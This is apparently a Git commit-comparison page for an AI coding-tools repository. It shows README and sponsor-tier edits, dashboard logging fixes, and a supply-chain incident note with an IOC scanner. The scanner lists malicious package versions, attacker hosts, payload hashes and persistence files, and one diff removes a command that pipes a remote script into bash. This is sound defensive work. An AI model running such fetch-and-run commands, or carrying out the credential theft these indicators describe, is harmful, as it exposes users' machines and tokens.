Compare commits

...

13 Commits

Author SHA1 Message Date
Affaan Mustafa 03ab47748c docs: fix windows e2e debug helper 2026-05-15 08:07:58 -04:00
CodeQC 27f9480ca4 feat(skills): enrich windows-desktop-e2e with trace/dpi/diagnostics
- opt-in E2E_TRACE for step-level screenshots + JSONL action log;
  text content redacted by default (E2E_TRACE_INCLUDE_TEXT to opt in)
- DPI/scaling rules + debug_match() helper for screenshot fallback
- flaky table covers Qt5 set_edit_text fallback and off-screen controls
2026-05-15 18:42:18 +08:00
Affaan Mustafa f04702bdac Expand Mini Shai-Hulud IOC coverage (#1921) 2026-05-15 03:20:10 -04:00
Affaan Mustafa 4774946db5 docs(sponsors): tighten tier structure + grandfather existing sponsors + add Business/Team featured sections 2026-05-15 02:56:18 -04:00
Affaan Mustafa c211791e95 docs(readme): add Pro/Sponsor/GitHub App CTA block + update stats (140K to 182K) 2026-05-15 02:55:23 -04:00
Affaan Mustafa e8e9df52a6 fix: harden supply-chain IOC scan (#1918) 2026-05-15 02:50:50 -04:00
Affaan Mustafa 5349d991c2 fix: harden dashboard canary and IOC coverage (#1917)
fix: harden dashboard canary and IOC coverage
2026-05-15 02:25:48 -04:00
Affaan Mustafa 381e6cd16a docs: align rules README install namespace (#1916)
docs: align rules README install namespace
2026-05-15 02:25:31 -04:00
Affaan Mustafa 8af4b5dafb docs: align rules README install namespace 2026-05-15 02:07:43 -04:00
Affaan Mustafa 9af04f3965 fix: harden dashboard canary and IOC coverage 2026-05-15 02:06:46 -04:00
Affaan Mustafa 4546a2c144 fix: salvage dashboard and canary-watch PRs (#1915)
Salvage focused changes from #1910 and #1911 on a maintainer-owned branch after full CI.

- enrich canary-watch discovery terms for post-deploy verification prompts
- narrow dashboard bare except handlers, add debug logging, and avoid double-configuring widgets

Co-authored-by: EunCHanPark <93873648+EunCHanPark@users.noreply.github.com>
Co-authored-by: shenchangmin <503228482@qq.com>
2026-05-15 01:57:21 -04:00
SeungHyun 8cfadfea28 fix(hooks): close grouped command bypasses in gateguard (#1912)
Inspect executable bodies inside plain subshells and brace groups before applying destructive command classifiers.\n\nCo-authored-by: Jamkris <82251632+Jamkris@users.noreply.github.com>
2026-05-15 01:39:15 -04:00
Affaan Mustafa e2992860ae docs: restore zh-CN autonomous-loops install warning (#1907)
Restore the zh-CN autonomous-loops warning so the translated skill no longer recommends piping a remote install script directly into bash.

Co-authored-by: Golfi92 <Golfi92@users.noreply.github.com>
2026-05-15 01:37:42 -04:00
15 changed files with 1074 additions and 188 deletions
+36 -1
View File
@@ -19,7 +19,7 @@
![Perl](https://img.shields.io/badge/-Perl-39457E?logo=perl&logoColor=white) ![Perl](https://img.shields.io/badge/-Perl-39457E?logo=perl&logoColor=white)
![Markdown](https://img.shields.io/badge/-Markdown-000000?logo=markdown&logoColor=white) ![Markdown](https://img.shields.io/badge/-Markdown-000000?logo=markdown&logoColor=white)
> **140K+ stars** | **21K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner** > **182K+ stars** | **28K+ forks** | **170+ contributors** | **12+ language ecosystems** | **Anthropic Hackathon Winner**
--- ---
@@ -42,6 +42,41 @@ Works across **Claude Code**, **Codex**, **Cursor**, **OpenCode**, **Gemini**, *
ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md). ECC v2.0.0-rc.1 adds the public Hermes operator story on top of that reusable layer: start with the [Hermes setup guide](docs/HERMES-SETUP.md), then review the [rc.1 release notes](docs/releases/2.0.0-rc.1/release-notes.md) and [cross-harness architecture](docs/architecture/cross-harness.md).
---
<table>
<tr>
<td width="25%" align="center">
<a href="https://ecc.tools/pricing">
<strong> ECC Pro</strong><br />
<sub>Private repos · GitHub App · $19/seat/mo</sub>
</a>
</td>
<td width="25%" align="center">
<a href="https://github.com/sponsors/affaan-m">
<strong> Sponsor</strong><br />
<sub>Fund the OSS · From $5/mo</sub>
</a>
</td>
<td width="25%" align="center">
<a href="https://github.com/affaan-m/everything-claude-code/discussions">
<strong>Community</strong>
<br />
<sub>Discussions · Q&amp;A · Show & Tell</sub>
</a>
</td>
<td width="25%" align="center">
<a href="https://github.com/apps/ecc-tools">
<strong> GitHub App</strong><br />
<sub>Install · PR audits · Free tier</sub>
</a>
</td>
</tr>
</table>
<sub>**OSS stays free.** This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. <a href="https://github.com/sponsors/affaan-m">Sponsors</a> and <a href="https://ecc.tools/pricing">Pro subscribers</a> fund the work — that's why a single maintainer ships weekly across 7 harnesses.</sub>
--- ---
## The Guides ## The Guides
+55 -38
View File
@@ -1,59 +1,76 @@
# Sponsors # Sponsors
Thank you to everyone who sponsors this project! Your support keeps the ECC ecosystem growing. Thank you to everyone funding ECC's open-source work. Your sponsorship is what lets the OSS layer stay free while the GitHub App, hosted security scans, and continuous improvements ship every week.
## Enterprise Sponsors ## Enterprise Sponsors — $2,500/mo
*Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here* *Become an [Enterprise sponsor](https://github.com/sponsors/affaan-m) to be featured here.*
## Business Sponsors ## Business Sponsors — $500/mo
*Become a [Business sponsor](https://github.com/sponsors/affaan-m) to be featured here* | Sponsor | Logo | Since |
|---------|------|-------|
| [**CodeRabbit**](https://coderabbit.ai) | <img src="https://avatars.githubusercontent.com/u/132028505?s=120" width="60" alt="CodeRabbit" /> | 2026 |
## Team Sponsors *[Become a Business sponsor](https://github.com/sponsors/affaan-m) to be featured here with logo placement in the main README hero and a quarterly case study.*
*Become a [Team sponsor](https://github.com/sponsors/affaan-m) to be featured here* ## Team Sponsors — $200/mo
## Individual Sponsors | Sponsor | Since |
|---------|-------|
| [Mike Morgan](https://github.com/mikejmorgan-ai) | 2026 |
*Become a [sponsor](https://github.com/sponsors/affaan-m) to be listed here* *[Become a Team sponsor](https://github.com/sponsors/affaan-m) to get small logo placement and 5 ECC Pro seats.*
## Pro Sponsors — $50/mo
*[Become a Pro sponsor](https://github.com/sponsors/affaan-m) to be listed here with your name in the main README sponsor row.*
## Builder Sponsors — $25/mo
- @jasonwu513 (grandfathered at $10)
- @1anter (grandfathered at $10)
- @massimotodaro (grandfathered at $10)
- @meadmccabe (grandfathered at $10)
*[Become a Builder sponsor](https://github.com/sponsors/affaan-m) to support the project and get your name in this list + a private monthly progress note.*
## Supporters — $5/mo
*[Become a Supporter](https://github.com/sponsors/affaan-m) to back the project with a profile badge and a thank-you in our release notes.*
---
## Sponsorship Tiers
| Tier | Monthly | Perks |
|------|--------:|-------|
| Supporter | $5 | Sponsor badge on profile, thank-you in release notes |
| Builder | $25 | Above + name in SPONSORS.md + private monthly progress note |
| Pro Sponsor | $50 | Above + name in main README + 1 quarterly roadmap vote |
| Team | $200 | Above + small org logo in README + 5 ECC Pro seats |
| Business | $500 | Above + featured logo in README hero + quarterly case study + Discord sponsors-lounge access |
| Enterprise | $2,500 | Above + unlimited Pro seats + 30 min/mo founder time + SLA + dedicated channel |
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
For corporate sponsorship inquiries, custom partnerships, or PR integrations, email **affaan@ecc.tools** with your company name and intended tier. We'll move fast — most agreements close within 48 hours.
--- ---
## Why Sponsor? ## Why Sponsor?
Your sponsorship helps: Your sponsorship directly funds:
- **Ship faster** — More time dedicated to building tools and features - **OSS work that stays free** — the core repo, AgentShield, install scripts, and skills library remain MIT
- **Keep it free** — Premium features fund the free tier for everyone - **Weekly releases** — full-time work on the harness, not a side project
- **Better support** — Sponsors get priority responses - **Independent maintenance** — no acquisition pressure, no rug pulls, no enshittification
- **Shape the roadmap** — Pro+ sponsors vote on features - **Sponsor-driven roadmap** — Pro+ sponsors vote on direction, Business+ get case studies and integration support
## Sponsor Readiness Signals ## Existing Sponsors Are Grandfathered
Use these proof points in sponsor conversations: If you sponsored before May 2026, you keep your original perks at your original price. New tiers apply to new sponsors only.
- Live npm install/download metrics for `ecc-universal` and `ecc-agentshield`
- GitHub App distribution via Marketplace installs
- Public adoption signals: stars, forks, contributors, release cadence
- Cross-harness support: Claude Code, Cursor, OpenCode, Codex app/CLI
See [`docs/business/metrics-and-sponsorship.md`](docs/business/metrics-and-sponsorship.md) for a copy/paste metrics pull workflow.
## Sponsor Tiers
| Tier | Price | Benefits |
|------|-------|----------|
| Supporter | $5/mo | Name in README, early access |
| Builder | $10/mo | Premium tools access |
| Pro | $25/mo | Priority support, office hours |
| Team | $100/mo | 5 seats, team configs |
| Harness Partner | $200/mo | Monthly roadmap sync, prioritized maintainer feedback, release-note mention |
| Business | $500/mo | 25 seats, consulting credit |
| Enterprise | $2K/mo | Unlimited seats, custom tools |
[**Become a Sponsor →**](https://github.com/sponsors/affaan-m)
--- ---
*Updated automatically. Last sync: February 2026* *Auto-updated by Hermes on every release. Last sync: 2026-05-14*
@@ -23,8 +23,18 @@ credentials:
OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages. OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages.
- The live IOC set includes persistence through Claude Code - The live IOC set includes persistence through Claude Code
`.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level `.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level
`gh-token-monitor` LaunchAgent/systemd services. Remove those persistence `gh-token-monitor` LaunchAgent/systemd services. Some variants add a
hooks before rotating a stolen GitHub token. dead-man-switch token description
`IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow
files such as `.github/workflows/codeql_analysis.yml`, and Python runtime
payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those
persistence hooks before rotating a stolen GitHub token.
- The scanner also watches for late-reporting markers: `router_init.js`
SHA-256 prefix/suffix `ab4fcada...8601266c`, `tanstack_runner.js`
SHA-256 prefix/suffix `2ec78d55...6be27fc96`,
`opensearch_init.js`, `vite_setup.mjs`, campaign salt `svksjrhjkcejg`,
Session protocol strings, `claude@users.noreply.github.com` dead-drop
commits, `dependabout/` branch names, and `OhNoWhatsGoingOnWithGitHub`.
- The attack chain combined `pull_request_target`, GitHub Actions cache - The attack chain combined `pull_request_target`, GitHub Actions cache
poisoning across a fork/base trust boundary, and OIDC token extraction from a poisoning across a fork/base trust boundary, and OIDC token extraction from a
GitHub Actions runner. GitHub Actions runner.
@@ -77,7 +87,11 @@ If ECC or a maintainer machine installed a known-bad package version:
- `.vscode/tasks.json` folder-open tasks and adjacent payload files; - `.vscode/tasks.json` folder-open tasks and adjacent payload files;
- `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`; - `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`;
- `~/.config/systemd/user/gh-token-monitor.service`; - `~/.config/systemd/user/gh-token-monitor.service`;
- `~/.local/bin/gh-token-monitor.sh`. - `~/.config/systemd/user/pgsql-monitor.service`;
- `~/.local/bin/gh-token-monitor.sh`;
- `~/.local/bin/pgmonitor.py`;
- `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their
`/private/tmp/` equivalents on macOS.
5. Rotate every credential reachable by the process: 5. Rotate every credential reachable by the process:
- npm automation tokens and maintainer tokens; - npm automation tokens and maintainer tokens;
- GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets; - GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets;
+1 -3
View File
@@ -237,9 +237,7 @@ PROMPT 1(协调器) PROMPT 2(子代理)
### 安装 ### 安装
```bash > **警告:** 请在审阅代码后,从 continuous-claude 的仓库安装。不要将外部脚本直接管道传入 bash。
curl -fsSL https://raw.githubusercontent.com/AnandChowdhary/continuous-claude/HEAD/install.sh | bash
```
### 用法 ### 用法
+22 -21
View File
@@ -10,10 +10,13 @@ import os
import json import json
from pathlib import Path from pathlib import Path
from typing import Dict, List, Optional from typing import Dict, List, Optional
import logging
import webbrowser import webbrowser
from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window from scripts.lib.ecc_dashboard_runtime import launch_terminal, maximize_window
logger = logging.getLogger(__name__)
# ============================================================================ # ============================================================================
# DATA LOADERS - Load ECC data from the project # DATA LOADERS - Load ECC data from the project
# ============================================================================ # ============================================================================
@@ -112,8 +115,8 @@ def load_skills(project_path: str) -> List[Dict]:
if line.startswith('# '): if line.startswith('# '):
description = line[2:].strip()[:100] description = line[2:].strip()[:100]
break break
except: except Exception:
pass logger.debug("Failed to parse skill file %s", skill_file, exc_info=True)
# Determine category # Determine category
category = "General" category = "General"
@@ -186,8 +189,8 @@ def load_commands(project_path: str) -> List[Dict]:
if line.startswith('# '): if line.startswith('# '):
description = line[2:].strip() description = line[2:].strip()
break break
except: except Exception:
pass logger.debug("Failed to parse command file %s", item, exc_info=True)
commands.append({ commands.append({
'name': cmd_name, 'name': cmd_name,
@@ -280,8 +283,8 @@ class ECCDashboard(tk.Tk):
try: try:
self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png') self.icon_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
self.iconphoto(True, self.icon_image) self.iconphoto(True, self.icon_image)
except: except Exception:
pass logger.debug("Failed to load window icon", exc_info=True)
self.minsize(800, 600) self.minsize(800, 600)
@@ -344,8 +347,8 @@ class ECCDashboard(tk.Tk):
self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png') self.logo_image = tk.PhotoImage(file='assets/images/ecc-logo.png')
self.logo_image = self.logo_image.subsample(2, 2) self.logo_image = self.logo_image.subsample(2, 2)
ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10)) ttk.Label(header_frame, image=self.logo_image).pack(side=tk.LEFT, padx=(0, 10))
except: except Exception:
pass logger.debug("Failed to load header logo", exc_info=True)
self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold')) self.title_label = ttk.Label(header_frame, text="ECC Dashboard", font=('Open Sans', 18, 'bold'))
self.title_label.pack(side=tk.LEFT) self.title_label.pack(side=tk.LEFT)
@@ -897,22 +900,20 @@ Project: github.com/affaan-m/everything-claude-code"""
def update_widget_colors(widget): def update_widget_colors(widget):
try: try:
widget.configure(background=bg_color) widget.configure(background=bg_color)
except: except Exception:
pass logger.debug("Cannot set background on %s", widget.__class__.__name__, exc_info=True)
for child in widget.winfo_children(): try:
try: children = widget.winfo_children()
child.configure(background=bg_color) except Exception:
except: logger.debug("Cannot list child widgets on %s", widget.__class__.__name__, exc_info=True)
pass return
for child in children:
try: try:
update_widget_colors(child) update_widget_colors(child)
except: except Exception:
pass logger.debug("Cannot update child widget colors on %s", child.__class__.__name__, exc_info=True)
try: update_widget_colors(self)
update_widget_colors(self)
except:
pass
self.update() self.update()
+25 -10
View File
@@ -55,25 +55,40 @@ rules/
> Flattening them into one directory causes language-specific files to overwrite > Flattening them into one directory causes language-specific files to overwrite
> common rules, and breaks the relative `../common/` references used by > common rules, and breaks the relative `../common/` references used by
> language-specific files. > language-specific files.
>
> Use the ECC-owned namespace below for user-level Claude installs. Flat
> package-level destinations can collide with non-ECC rule packs and do not
> match the main README guidance.
```bash ```bash
# Create the ECC rule namespace once.
mkdir -p ~/.claude/rules/ecc
# Install common rules (required for all projects) # Install common rules (required for all projects)
cp -r rules/common ~/.claude/rules/common cp -r rules/common ~/.claude/rules/ecc/
# Install language-specific rules based on your project's tech stack # Install language-specific rules based on your project's tech stack
cp -r rules/typescript ~/.claude/rules/typescript cp -r rules/typescript ~/.claude/rules/ecc/
cp -r rules/angular ~/.claude/rules/angular cp -r rules/angular ~/.claude/rules/ecc/
cp -r rules/python ~/.claude/rules/python cp -r rules/python ~/.claude/rules/ecc/
cp -r rules/golang ~/.claude/rules/golang cp -r rules/golang ~/.claude/rules/ecc/
cp -r rules/web ~/.claude/rules/web cp -r rules/web ~/.claude/rules/ecc/
cp -r rules/swift ~/.claude/rules/swift cp -r rules/swift ~/.claude/rules/ecc/
cp -r rules/php ~/.claude/rules/php cp -r rules/php ~/.claude/rules/ecc/
cp -r rules/ruby ~/.claude/rules/ruby cp -r rules/ruby ~/.claude/rules/ecc/
cp -r rules/arkts ~/.claude/rules/arkts cp -r rules/arkts ~/.claude/rules/ecc/
# Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only. # Attention ! ! ! Configure according to your actual project requirements; the configuration here is for reference only.
``` ```
For project-local rules, use the same namespace under the project root:
```bash
mkdir -p .claude/rules/ecc
cp -r rules/common .claude/rules/ecc/
cp -r rules/typescript .claude/rules/ecc/
```
## Rules vs Skills ## Rules vs Skills
- **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets"). - **Rules** define standards, conventions, and checklists that apply broadly (e.g., "80% test coverage", "no hardcoded secrets").
+215 -6
View File
@@ -11,10 +11,78 @@ const path = require('path');
const DEFAULT_ROOT = path.resolve(__dirname, '../..'); const DEFAULT_ROOT = path.resolve(__dirname, '../..');
const MALICIOUS_PACKAGE_VERSIONS = { const MALICIOUS_PACKAGE_VERSIONS = {
'@mistralai/mistralai': ['2.2.3', '2.2.4'], '@beproduct/nestjs-auth': [
'@mistralai/mistralai-azure': ['1.7.2', '1.7.3'], '0.1.2',
'@mistralai/mistralai-gcp': ['1.7.2', '1.7.3'], '0.1.3',
'@opensearch-project/opensearch': ['3.6.2', '3.8.0'], '0.1.4',
'0.1.5',
'0.1.6',
'0.1.7',
'0.1.8',
'0.1.9',
'0.1.10',
'0.1.11',
'0.1.12',
'0.1.13',
'0.1.14',
'0.1.15',
'0.1.16',
'0.1.17',
'0.1.18',
'0.1.19',
],
'@cap-js/db-service': ['2.10.1'],
'@cap-js/postgres': ['2.2.2'],
'@cap-js/sqlite': ['2.2.2'],
'@dirigible-ai/sdk': ['0.6.2', '0.6.3'],
'@draftauth/client': ['0.2.1', '0.2.2'],
'@draftauth/core': ['0.13.1', '0.13.2'],
'@draftlab/auth': ['0.24.1', '0.24.2'],
'@draftlab/auth-router': ['0.5.1', '0.5.2'],
'@draftlab/db': ['0.16.1', '0.16.2'],
'@mesadev/rest': ['0.28.3'],
'@mesadev/saguaro': ['0.4.22'],
'@mesadev/sdk': ['0.28.3'],
'@ml-toolkit-ts/preprocessing': ['1.0.2', '1.0.3'],
'@ml-toolkit-ts/xgboost': ['1.0.3', '1.0.4'],
'@mistralai/mistralai': ['2.2.2', '2.2.3', '2.2.4'],
'@mistralai/mistralai-azure': ['1.7.1', '1.7.2', '1.7.3'],
'@mistralai/mistralai-gcp': ['1.7.1', '1.7.2', '1.7.3'],
'@opensearch-project/opensearch': ['3.5.3', '3.6.2', '3.7.0', '3.8.0'],
'@squawk/airport-data': ['0.7.4', '0.7.5', '0.7.6', '0.7.7', '0.7.8'],
'@squawk/airports': ['0.6.2', '0.6.3', '0.6.4', '0.6.5', '0.6.6'],
'@squawk/airspace': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
'@squawk/airspace-data': ['0.5.3', '0.5.4', '0.5.5', '0.5.6', '0.5.7'],
'@squawk/airway-data': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
'@squawk/airways': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
'@squawk/fix-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
'@squawk/fixes': ['0.3.2', '0.3.3', '0.3.4', '0.3.5', '0.3.6'],
'@squawk/flight-math': ['0.5.4', '0.5.5', '0.5.6', '0.5.7', '0.5.8'],
'@squawk/flightplan': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
'@squawk/geo': ['0.4.4', '0.4.5', '0.4.6', '0.4.7', '0.4.8'],
'@squawk/icao-registry': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
'@squawk/icao-registry-data': ['0.8.4', '0.8.5', '0.8.6', '0.8.7', '0.8.8'],
'@squawk/mcp': ['0.9.1', '0.9.2', '0.9.3', '0.9.4', '0.9.5'],
'@squawk/navaid-data': ['0.6.4', '0.6.5', '0.6.6', '0.6.7', '0.6.8'],
'@squawk/navaids': ['0.4.2', '0.4.3', '0.4.4', '0.4.5', '0.4.6'],
'@squawk/notams': ['0.3.6', '0.3.7', '0.3.8', '0.3.9', '0.3.10'],
'@squawk/procedure-data': ['0.7.3', '0.7.4', '0.7.5', '0.7.6', '0.7.7'],
'@squawk/procedures': ['0.5.2', '0.5.3', '0.5.4', '0.5.5', '0.5.6'],
'@squawk/types': ['0.8.1', '0.8.2', '0.8.3', '0.8.4', '0.8.5'],
'@squawk/units': ['0.4.3', '0.4.4', '0.4.5', '0.4.6', '0.4.7'],
'@squawk/weather': ['0.5.6', '0.5.7', '0.5.8', '0.5.9', '0.5.10'],
'@supersurkhet/cli': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
'@supersurkhet/sdk': ['0.0.2', '0.0.3', '0.0.4', '0.0.5', '0.0.6', '0.0.7'],
'@tallyui/components': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-medusa': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-shopify': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-vendure': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/connector-woocommerce': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/core': ['0.2.1', '0.2.2', '0.2.3'],
'@tallyui/database': ['1.0.1', '1.0.2', '1.0.3'],
'@tallyui/pos': ['0.1.1', '0.1.2', '0.1.3'],
'@tallyui/storage-sqlite': ['0.2.1', '0.2.2', '0.2.3'],
'@tallyui/theme': ['0.2.1', '0.2.2', '0.2.3'],
'@tanstack/arktype-adapter': ['1.166.12', '1.166.15'], '@tanstack/arktype-adapter': ['1.166.12', '1.166.15'],
'@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'], '@tanstack/eslint-plugin-router': ['1.161.9', '1.161.12'],
'@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'], '@tanstack/eslint-plugin-start': ['0.0.4', '0.0.7'],
@@ -57,35 +125,147 @@ const MALICIOUS_PACKAGE_VERSIONS = {
'@tanstack/vue-start-client': ['1.166.46', '1.166.49'], '@tanstack/vue-start-client': ['1.166.46', '1.166.49'],
'@tanstack/vue-start-server': ['1.166.50', '1.166.53'], '@tanstack/vue-start-server': ['1.166.50', '1.166.53'],
'@tanstack/zod-adapter': ['1.166.12', '1.166.15'], '@tanstack/zod-adapter': ['1.166.12', '1.166.15'],
'@taskflow-corp/cli': ['0.1.24', '0.1.25', '0.1.26', '0.1.27', '0.1.28', '0.1.29'],
'@tolka/cli': ['1.0.2', '1.0.3', '1.0.4', '1.0.5', '1.0.6'],
'@uipath/access-policy-sdk': ['0.3.1'],
'@uipath/access-policy-tool': ['0.3.1'],
'@uipath/agent.sdk': ['0.0.18'], '@uipath/agent.sdk': ['0.0.18'],
'@uipath/agent-sdk': ['1.0.2'], '@uipath/agent-sdk': ['1.0.2'],
'@uipath/agent-tool': ['1.0.1'],
'@uipath/admin-tool': ['0.1.1'],
'@uipath/aops-policy-tool': ['0.3.1'],
'@uipath/ap-chat': ['1.5.7'],
'@uipath/api-workflow-tool': ['1.0.1'],
'@uipath/apollo-core': ['5.9.2'], '@uipath/apollo-core': ['5.9.2'],
'@uipath/apollo-react': ['4.24.5'],
'@uipath/apollo-wind': ['2.16.2'],
'@uipath/auth': ['1.0.1'],
'@uipath/case-tool': ['1.0.1'],
'@uipath/cli': ['1.0.1'], '@uipath/cli': ['1.0.1'],
'@uipath/codedagent-tool': ['1.0.1'],
'@uipath/codedagents-tool': ['0.1.12'],
'@uipath/codedapp-tool': ['1.0.1'],
'@uipath/common': ['1.0.1'],
'@uipath/context-grounding-tool': ['0.1.1'],
'@uipath/data-fabric-tool': ['1.0.2'],
'@uipath/docsai-tool': ['1.0.1'],
'@uipath/filesystem': ['1.0.1'],
'@uipath/flow-tool': ['1.0.2'],
'@uipath/functions-tool': ['1.0.1'],
'@uipath/gov-tool': ['0.3.1'],
'@uipath/identity-tool': ['0.1.1'],
'@uipath/insights-sdk': ['1.0.1'],
'@uipath/insights-tool': ['1.0.1'],
'@uipath/integrationservice-sdk': ['1.0.2'],
'@uipath/integrationservice-tool': ['1.0.2'],
'@uipath/llmgw-tool': ['1.0.1'],
'@uipath/maestro-sdk': ['1.0.1'],
'@uipath/maestro-tool': ['1.0.1'],
'@uipath/orchestrator-tool': ['1.0.1'],
'@uipath/packager-tool-apiworkflow': ['0.0.19'],
'@uipath/packager-tool-bpmn': ['0.0.9'],
'@uipath/packager-tool-case': ['0.0.9'],
'@uipath/packager-tool-connector': ['0.0.19'],
'@uipath/packager-tool-flow': ['0.0.19'],
'@uipath/packager-tool-functions': ['0.1.1'],
'@uipath/packager-tool-webapp': ['1.0.6'],
'@uipath/packager-tool-workflowcompiler': ['0.0.16'],
'@uipath/packager-tool-workflowcompiler-browser': ['0.0.34'],
'@uipath/platform-tool': ['1.0.1'],
'@uipath/project-packager': ['1.1.16'],
'@uipath/resource-tool': ['1.0.1'],
'@uipath/resourcecatalog-tool': ['0.1.1'],
'@uipath/resources-tool': ['0.1.11'],
'@uipath/robot': ['1.3.4'], '@uipath/robot': ['1.3.4'],
'@uipath/rpa-legacy-tool': ['1.0.1'],
'@uipath/rpa-tool': ['0.9.5'],
'@uipath/solution-packager': ['0.0.35'],
'@uipath/solution-tool': ['1.0.1'],
'@uipath/solutionpackager-sdk': ['1.0.11'],
'@uipath/solutionpackager-tool-core': ['0.0.34'],
'@uipath/tasks-tool': ['1.0.1'],
'@uipath/telemetry': ['0.0.7'],
'@uipath/test-manager-tool': ['1.0.2'],
'@uipath/tool-workflowcompiler': ['0.0.12'],
'@uipath/traces-tool': ['1.0.1'],
'@uipath/ui-widgets-multi-file-upload': ['1.0.1'],
'@uipath/uipath-python-bridge': ['1.0.1'],
'@uipath/vertical-solutions-tool': ['1.0.1'],
'@uipath/vss': ['0.1.6'],
'@uipath/widget.sdk': ['1.2.3'],
'agentwork-cli': ['0.1.4', '0.1.5'],
'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'], 'cmux-agent-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.6', '0.1.7', '0.1.8'],
'cross-stitch': ['1.1.3', '1.1.4', '1.1.5', '1.1.6', '1.1.7'],
'git-branch-selector': ['1.3.3', '1.3.4', '1.3.5', '1.3.6', '1.3.7'],
'git-git-git': ['1.0.8', '1.0.9', '1.0.10', '1.0.11', '1.0.12'],
'guardrails-ai': ['0.10.1'], 'guardrails-ai': ['0.10.1'],
'intercom-client': ['7.0.4'],
'lightning': ['2.6.2', '2.6.3'],
'mbt': ['1.2.48'],
'mistralai': ['2.4.6'], 'mistralai': ['2.4.6'],
'ml-toolkit-ts': ['1.0.4', '1.0.5'],
'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'], 'nextmove-mcp': ['0.1.3', '0.1.4', '0.1.5', '0.1.7'],
'safe-action': ['0.8.3', '0.8.4'], 'safe-action': ['0.8.3', '0.8.4'],
'ts-dna': ['3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5'],
'wot-api': ['0.8.1', '0.8.2', '0.8.3', '0.8.4'],
}; };
const CRITICAL_TEXT_INDICATORS = [ const CRITICAL_TEXT_INDICATORS = [
'@tanstack/setup', '@tanstack/setup',
'github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c', [
'github:tanstack/router#79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join(''),
[
'79ac49eedf774dd4b0cf',
'a308722bc463cfe5885c',
].join(''),
'router_init.js', 'router_init.js',
'router_runtime.js', 'router_runtime.js',
'tanstack_runner.js', 'tanstack_runner.js',
'opensearch_init.js',
'vite_setup.mjs',
'bun run tanstack_runner.js',
'execution.js',
'transformers.pyz',
'pgmonitor.py',
'pgsql-monitor.service',
'gh-token-monitor', 'gh-token-monitor',
'com.user.gh-token-monitor', 'com.user.gh-token-monitor',
'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner',
[
'ab4fcadaec49c032',
'78063dd269ea5ee',
'f82d24f2124a8e15',
'd7b90f2fa8601266c',
].join(''),
[
'2ec78d556d696e20',
'8927cc503d48e4b5e',
'b56b31abc2870c2e',
'd2e98d6be27fc96',
].join(''),
'svksjrhjkcejg',
'filev2.getsession.org', 'filev2.getsession.org',
'seed1.getsession.org', 'seed1.getsession.org',
'seed2.getsession.org', 'seed2.getsession.org',
'seed3.getsession.org', 'seed3.getsession.org',
'signalservice',
'snode',
'git-tanstack.com', 'git-tanstack.com',
'litter.catbox.moe/h8nc9u.js',
'litter.catbox.moe/7rrc6l.mjs',
'83.142.209.194', '83.142.209.194',
'api.masscan.cloud', 'api.masscan.cloud',
'claude@users.noreply.github.com',
'dependabout/',
'OhNoWhatsGoingOnWithGitHub',
'voicproducoes',
'A Mini Shai-Hulud has Appeared', 'A Mini Shai-Hulud has Appeared',
'Shai-Hulud: Here We Go Again',
'PUSH UR T3MPRR', 'PUSH UR T3MPRR',
'codeql_analysis.yml',
'shai-hulud-workflow.yml',
]; ];
const DEPENDENCY_FILENAMES = new Set([ const DEPENDENCY_FILENAMES = new Set([
@@ -104,16 +284,30 @@ const PERSISTENCE_FILENAMES = new Set([
'tasks.json', 'tasks.json',
'router_runtime.js', 'router_runtime.js',
'setup.mjs', 'setup.mjs',
'pgmonitor.py',
'gh-token-monitor.sh', 'gh-token-monitor.sh',
'com.user.gh-token-monitor.plist', 'com.user.gh-token-monitor.plist',
'gh-token-monitor.service', 'gh-token-monitor.service',
'pgsql-monitor.service',
